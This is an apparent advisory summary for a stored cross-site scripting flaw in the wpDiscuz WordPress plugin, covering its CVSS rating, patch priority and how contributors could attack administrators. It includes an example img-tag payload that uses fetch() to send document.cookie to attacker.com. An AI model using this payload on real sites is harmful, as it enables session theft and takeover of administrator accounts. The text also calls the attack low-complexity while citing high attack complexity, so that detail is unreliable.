Wpdiscuz EUVD-2026-11751

The CVSS v3.1 score of 4.4 reflects moderate severity with a low-complexity attack that requires authenticated access (PR:L) and user interaction (UI:R), affecting confidentiality and integrity but not availability. The CVSS vector indicates network accessibility (AV:N) but high attack complexity (AC:H), which somewhat mitigates the impact. The moderate CVSS score accurately reflects real-world risk: while the vulnerability is exploitable, it requires an attacker to have at least contributor-level WordPress privileges and victims must view malicious comments. Without confirmed KEV (CISA Known Exploited Vulnerabilities) status or public proof-of-concept code, this should be treated as a medium-priority remediation target rather than critical. Organizations running older wpDiscuz versions with strict user role management and comment moderation should prioritize patching within their normal maintenance windows, but this does not warrant emergency incident response.

An authenticated attacker with contributor-level access creates a comment with an attachment record containing a malicious URL such as an img tag with a crafted src attribute like 'x" onload="fetch('https://attacker.com/steal?cookie='+document.cookie)'. When a site administrator or other WordPress user views the comment thread, the unescaped JavaScript executes in their browser, exfiltrating their session cookie to the attacker's server. The attacker then uses the stolen session to perform administrative actions. While this requires authentication and user interaction, it can be highly effective in multi-user WordPress environments where comment moderation is less strict.